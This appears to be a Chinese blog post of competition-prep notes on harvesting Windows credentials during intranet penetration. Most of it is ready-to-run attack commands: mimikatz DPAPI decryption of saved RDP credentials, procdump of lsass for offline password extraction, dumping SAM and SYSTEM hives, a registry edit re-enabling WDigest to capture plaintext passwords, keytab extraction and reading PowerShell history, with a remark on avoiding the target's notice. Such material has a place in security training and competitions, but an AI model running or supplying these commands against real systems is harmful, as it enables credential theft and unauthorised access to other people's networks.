内网凭据收集
前言
快要市赛了,这里总结一下常见内网凭据收集的方式。
winlogon
查注册表,是否有自动登录,如果有就可以拿到明文密码直接登录了(可以用winpeas扫出来)
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

rdp
Windows 的 Credentials 文件夹存放DPAPI 加密的 RDP、网页、共享文件夹凭据缓存,远程桌面 RDP 保存的账号密码都会使用masterkey加密存在这里。
查看连接记录
cmdkey /list
查找本地的Credentials,系统文件默认是隐藏的,需要设置显示隐藏文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
dir /a C:\Users\Administrator\AppData\Local\Microsoft\Credentials\*
gci "C:\Users\Administrator\AppData\Local\Microsoft\Credentials\" -Force
在线读取rdp明文密码
使用mimikatz获取该文件的guidMasterKey值
mimikatz # privilege::debug
mimikatz # dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\5CF098107895D40EC0A0FC47FB5BB7C7
#一键命令
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\xuanjian\AppData\Local\Microsoft\Credentials\B0B07C74251019634D3D975E183A4D01" exit
通过guidMasterKey值找到内存中对应的MasterKey
mimikatz # sekurlsa::dpapi
#一键命令
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit
最后mimikatz用masterkey解密凭据
mimikatz # dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\5CF098107895D40EC0A0FC47FB5BB7C7 /masterkey:6b6ddf293f178cb282c2906c69d92226c137cca320aa6db2043708bc2755eba6cdd8faa89ef7dd656597da5346ecbb66aa57108247555e13caac0ff09ce2e1c6
#一键命令
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\xuanjian\AppData\Local\Microsoft\Credentials\B0B07C74251019634D3D975E183A4D01 /masterkey:0541b84285d48012015ae28a75935a53eedcca0423d74e9c34c10a82c6991015f371097e61bc6d927e82a80bbdb0cdcd1e00431a7f93e65a209b7150f80c1eba" exit
使用下面的命令查看获取到的所有的masterkey
mimikatz # dpapi::cache
离线读取rdp明文密码
原理很简单,就是把凭据文件和lsass内存下载到本地破解, 这样就避免被对方发现。
导出lsass内存ProcDump - Sysinternals | Microsoft Learn
Procdump.exe -accepteula -ma lsass.exe lsass.dump
下载lsass.dmp和凭据文件到本地,然后用mimikatz载入内存
Sekurlsa::minidump lsass.dump
获取Credentials的GUID
dpapi::cred /in:5CF098107895D40EC0A0FC47FB5BB7C7
获取内存中所有的MasterKey,找到GUID对应的
sekurlsa::dpapi
利用MasterKey解密
dpapi::cred /in:5CF098107895D40EC0A0FC47FB5BB7C7 /masterkey:6b6ddf293f178cb282c2906c69d92226c137cca320aa6db2043708bc2755eba6cdd8faa89ef7dd656597da5346ecbb66aa57108247555e13caac0ff09ce2e1c6
sam
SAM的全称是:securityaccountmanager (安全账号管理器)
当我们登录系统的时候,系统会自动地和Config中的SAM自动校对,如发现此次密码和用户名全与SAM文件中的加密数据符合时,你就会顺利登录;如果错误则无法登录。
在线读取sam文件
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
离线读取本地SAM文件
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive

lsass
LSASS(Local Security Authority Subsystem Service)是 Windows 系统中负责本地安全策略执行和用户认证的关键进程。转储 LSASS 内存可以提取敏感信息(如凭据),但需要管理员权限。以下是几种常见的 LSASS 转储方法及其实现方式。
在线读取lsass进程
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
离线读取lsass内存文件
也可以将lsass的进程内存转储,导出到本地后使用mimikatz离线读取
推荐用微软官方的工具ProcDump - Sysinternals | Microsoft Learn
procdump.exe -accepteula -ma lsass.exe lsass.dmp
把lsass.dmp放到本地离线读取
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit

在上面的抓取过程中可以看见,wdigest功能中抓取不到明文密码,因为微软在2014年5月发布了补丁,关闭了wdigest功能,禁止从内存中获取明文密码,且windows server 2012及以上版本默认关闭了wdigest功能
可以通过修改注册表,可以重新开启wdigest功能:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 开启wdigest
在开启wdigest后,若主机再次触发本地认证操作(比如睡眠后重新登录),则可抓取明文密码

keytab
Keytab(即“密钥表”)用于存储一个或多个主体的长期密钥。Keytab 通常以标准格式的文件表示,尽管在极少数情况下,它们可以用其他方式表示。Keytab 最常用于允许服务器应用程序接受来自客户端的身份验证,但也可以用于为客户端应用程序获取初始凭证。
用脚本解密sosdave/KeyTabExtract: Extracts Key Values from .keytab files
python .\keytabextract.py .\test.keytab

如果想要明文密码可以用这个在线网站破解MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊

powershell
powershell历史命令存在这个路径下
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
里面可能存着历史创建用户的命令,就可以拿到明文密码了
参考
[内网]RDP远程桌面密码凭证获取_查看远程桌面保存的密码-CSDN博客
Windows RDP凭证的抓取和密码破解 - candada - 博客园

浙公网安备 33010602011771号